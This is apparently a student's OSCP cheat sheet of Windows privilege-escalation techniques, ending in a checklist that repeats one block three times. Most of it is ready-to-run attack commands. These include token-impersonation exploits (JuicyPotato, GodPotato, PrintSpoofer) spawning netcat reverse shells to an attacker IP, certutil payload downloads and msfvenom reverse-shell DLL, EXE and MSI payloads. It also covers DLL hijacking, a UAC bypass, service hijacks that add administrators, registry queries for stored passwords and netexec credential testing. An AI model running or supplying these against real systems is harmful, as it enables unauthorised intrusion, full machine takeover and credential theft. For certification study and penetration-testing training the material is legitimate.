OSCP Notes, Windows PrivEsc Cheat Sheet

Great resource as well:

When you run whoami /priv:

Take note of the privilege name, and get after it. The best easy wins are SeImpersonatePrivilege, god potato, and juicy potato.

Here are also other links for the potatoes, but I stick with two:

Now, if you’re on a Windows 7–8 pc on the test, juicy potato is OK, but if you are on a Windows 10–11 pc, GODPOTATO!:

Juicy, you need to get the CLSID:

how to share files:
your machine: python3 -m http.server 80 (or whatever port)
certutil -split -f -urlcache http://<IP Address>/<file you want to share>

Use on Desktop:
juicypotato.exe -l <PORT> -p <PROGRAM> -t <MODE> -c <CLSID>
how to get getclsid get the script
run .\GetCLSID.ps1
also don't for get to get nc64.exe or nc.exe
.\Juicy.Potato.x86.exe -t * -p c:\windows\system32\cmd.exe -a "/c C:\Users\apache\Desktop\nc.exe <ip> 1337 -e cmd.exe" -l 1337 -c "{CSLID}"
don't forget listener, then you get a shell
could this work on 10-11, yes, but to save on time, use god potato

GOD POTATO!!!
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET4.exe -cmd "C:\Users\<user>\Desktop\nc64.exe <IP><port>-e cmd.exe"
nc -lvnp <port>
check listener, instent win! 

Another good option is PrintSpofer:

https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

PrintSpoofer64.exe -i -c cmd

SeManageVolumePrivilege being disabled, try this:

Run this script first, then check for these:

.\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
Entries changed: 920
DONE 

icacls C:/Windows
icacls C:/Windows
C:/Windows NT SERVICE\TrustedInstaller:(F)
           NT SERVICE\TrustedInstaller:(CI)(IO)(F)
           NT AUTHORITY\SYSTEM:(M)
           NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
           BUILTIN\Users:(M)
           BUILTIN\Users:(OI)(CI)(IO)(F)
           BUILTIN\Users:(RX)
           BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
           CREATOR OWNER:(OI)(CI)(IO)(F)
           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)

What you want to do now is perform DLL hijacking C:\Windows\System32\wbem\tzres.dll.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f dll -o tzres.dll
certutil.exe -urlcache -split -f http://<ip>/tzres.dll
you: nc -lnvp <port>
then in the folder run systeminfo
should get a shell

UAC Bypass! The best way I found was this method:

powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

Then check for:
[+] Run a BypassUAC attack to elevate privileges to admin.

Still run: whomai /all. Then look at Mandatory Label. Also check this:

reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
where /r C:\\windows eventvwr.exe 
strings64.exe -accepteula C:\\Windows\\System32\\eventvwr.exe | findstr /i autoeleva0te

Then you can do msfvenom .exe attacks:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exe
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe
.\eventvwr-bypassuac-64.exe 
.\psexec64.exe -i -accepteula -d -s C:\\programdata\\shell.exe

The link above is really good about how to do so!

Retrieving creds is great, too. If you find putty in program files:

reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s

should return:
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
user G_SZ    "&('C:\Program Files\PuTTY\plink.exe') -pw '<password>' user@$target 'df -h'

Also another great plan:
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" - did putty
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

Also note, along with AD, run netexec on your accounts:

netexec smb $TARGETS -u $USERNAME -p $PASS --shares
netexec smb $TARGETS -u $USERNAME -p $PASS --loggedon-users
netexec smb $TARGETS -u $USERNAME -p $PASS --users
netexec smb $TARGETS -u $USERNAME -p $PASS --groups
netexec smb $target -u ‘’ -p  ‘’ --rid-brute
netexec smb $target -u  ‘’ -p ‘’ --shares
nxc mssql <target> -u <user> -p <password>
nxc mssql 192.168.56.22 -u '' -p '' -M  enable_cmdshell -o ACTION=enable
nxc rdp <target(s)> -u <user> -p <password>
nxc rdp $target -u '' -p '' -x ‘whoami /all’
xc winrm <target_ip_or_subnet> -u <user> -p <password> -d <domain>
nxc winrm <target_ip> -u <user> -p <password> -x 'whoami'

Their wiki is amazing. I’ll go over more of this and crackmap in the AD notes. But testing your users is just as good. Mimikatz is also your friend, but there is much more to it than AD attacks.

Automation is great once you can’t spot the easy wins, but run PowerUp first. I also have command suggestions, so you don’t have to run Winpeas and get overloaded:

Review the README section!

powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

DO NOT USE THE AUTOPWN FUNCTION! YOU WILL FAIL! It is prohibited for use, but all checks are OK. You can’t use auto-enumeration for the shell.

Winpeas:

It’s best to run the exe rather than the other scripts, but you've narrowed down some good ideas on where to look first. Then, if that doesn’t work, then I would try to run the exe as normal:

winPEAS.exe fast searchfast cmd
winPEASany.exe quiet servicesinfo
winPEASany.exe quiet applicationsinfo
winPEASany.exe quiet windowscreds
winPEASany.exe quiet filesinfo userinfo
winPEASany.exe quiet cmd windowscreds
winPEASany.exe quiet cmd searchfast filesinfo
winPEASany.exe quiet procesinfo

And accesschk is a great tool as well:

accesschk.exe /accepteula -uwcqv <your current user> <name of service to check>
accesschk.exe /accepteula -uvwqk <svc registry path> 
accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
.\accesschk.exe /accepteula -ucqv regsvc
.\accesschk.exe /accepteula -uvwqk HKLM\system\currentcontrolset\services\regsvc
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\upnphost
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
.\accesschk.exe /accepteula -uvwq "C:\Filepath\path\something.exe" - or icacls "path"
accesschk64.exe -uwcv Everyone *

# -u = dont show errors
# -w = only show the objects that have write access
# -c = display the service name
# -v = verbose


another easy win, run it against itself:
ccesschk64.exe -uwcv daclsvc
sc qc daclsvc
sc config daclsvc binpath= "net localgroup administrators user /add"
sc stop daclsvc
sc start daclsvc
net localgroup administrator 

Always elevate is also an easy win!

Run these:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f msi -o shell.msi
share it
then run:
msiexec /quiet /qn /i C:\Temp\shell.msi

Weak service executable file permissions:

.\accesschk.exe /accepteula -uvwq "C:\Filepath\path\something.exe" - or icacls "path"
copy /Y C:\Temp\backdoor.exe "path" 
copy "path"  C:\Temp\
copy /Y C:\Temp\backdoor.exe "path"
sc create "BackdoorService" binPath= "C:\Path\To\Service.exe" start= auto
net start "service"

payload:
msfvenom -p windows/x64/reverse_tcp LHOST=<Attacker_IP> LPORT=<Port> -f exe-service -o backdoor.exe
then share to the tmp folder, check netcat

Unquoted path:

powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

Look for the path:
C:\Progarm Files\some unqouted path\common\something etc

msfvenom -p windows/reverse_tcp lhost=<ip> lport=<port> -f exe -o common.exe

sc start unquotedsvc

There’s a lot you can do with windows, and it's very overwhelming at times, but stick to the checklist:

☐ Who am I? What groups am I in?
☐ Any unexpected admin‑level group memberships?
☐ Any special token privileges assigned? (backup, impersonation, debug, restore)
☐ Any disabled or hidden accounts present?
☐ Any “service accounts” running unnecessary privileges?
☐ List all services
☐ Identify services running as SYSTEM or Administrator
☐ Check if service executables exist
☐ Check if service directories are writeable by low‑privileged users
☐ Check if drivers are unsigned or outdated
☐ Look for unusual third‑party services that don’t follow least‑privilege principles
☐ Review service registry keys
☐ Check permissions on HKLM\Software and HKLM\System areas
☐ Look for writable autorun registry entries
☐ Look for credential‑related registry values (no extraction)
☐ Check AlwaysInstallElevated policy states
☐ Enumerate all tasks
☐ Identify tasks running as SYSTEM
☐ Verify paths exist
☐ Verify the executable path has correct permissions
☐ Check for tasks with outdated, broken, or missing binaries
☐ Check PATH for any writable directories
☐ Check Program Files & ProgramData for incorrectly permissive folders
☐ Check startup folders for writable entries
☐ Look for writeable EXEs or DLLs belonging to privileged accounts
☐ Note any shared folders with weak ACLs
☐ List all installed programs
☐ Identify outdated or end‑of‑life applications
☐ Note any software that starts automatically with elevated privileges
☐ Identify apps installed in user‑writable directories
☐ Check for old backup copies of programs lying around
☐ Review SYSTEM and USER environment variables
☐ Check if any variables reference writeable folders
☐ Review TEMP and TMP directories
☐ Check for custom variables pointing to sensitive locations
☐ Look for configuration files that may store credentials (no reading secrets)
☐ Check RDP, WinRM, and other remote services enabled
☐ Check for excessive credential caching
☐ Review LSA protections enabled or disabled
☐ Check if credential guard is enabled
☐ List all listening ports
☐ Identify internal‑only services
☐ Check SMB shares for weak access rules
☐ Look for remote administration tools active (RDP, WinRM, PSRemoting)
☐ Review UAC settings
☐ Check firewall rules
☐ Confirm AV/EDR is enabled and note logs
☐ Identify missing OS updates
☐ Check AppLocker or WDAC enforcement
☐ Check BitLocker status
☐ Review UAC settings
☐ Check firewall rules
☐ Confirm AV/EDR is enabled and note logs
☐ Identify missing OS updates
☐ Check AppLocker or WDAC enforcement
☐ Check BitLocker status
☐ Review UAC settings
☐ Check firewall rules
☐ Confirm AV/EDR is enabled and note logs
☐ Identify missing OS updates
☐ Check AppLocker or WDAC enforcement
☐ Check BitLocker status
☐ Run PowerUp, then WinPEAS
☐ Save all output (PowerUp + WinPEAS + whoami /all)
☐ Go through output section by section—don’t skim
☐ Note anything labeled “potential risk,” “interesting,” or “misconfiguration”
☐ Compare findings against categories listed in your privesc notes
☐ If stuck, re‑run tools with full verbosity and save again

When you hit a wall, remember:
☐ Re‑run enumeration tools and compare results
☐ Go through PowerUp / WinPEAS results with fresh eyes
☐ Manually verify every “interesting” item
☐ Re-learn privesc categories (services, registry, creds, tokens, tasks, DLL paths, software versions)
☐ Look for anything non‑default or unusual
☐ Take notes on every potential misconfiguration even if unsure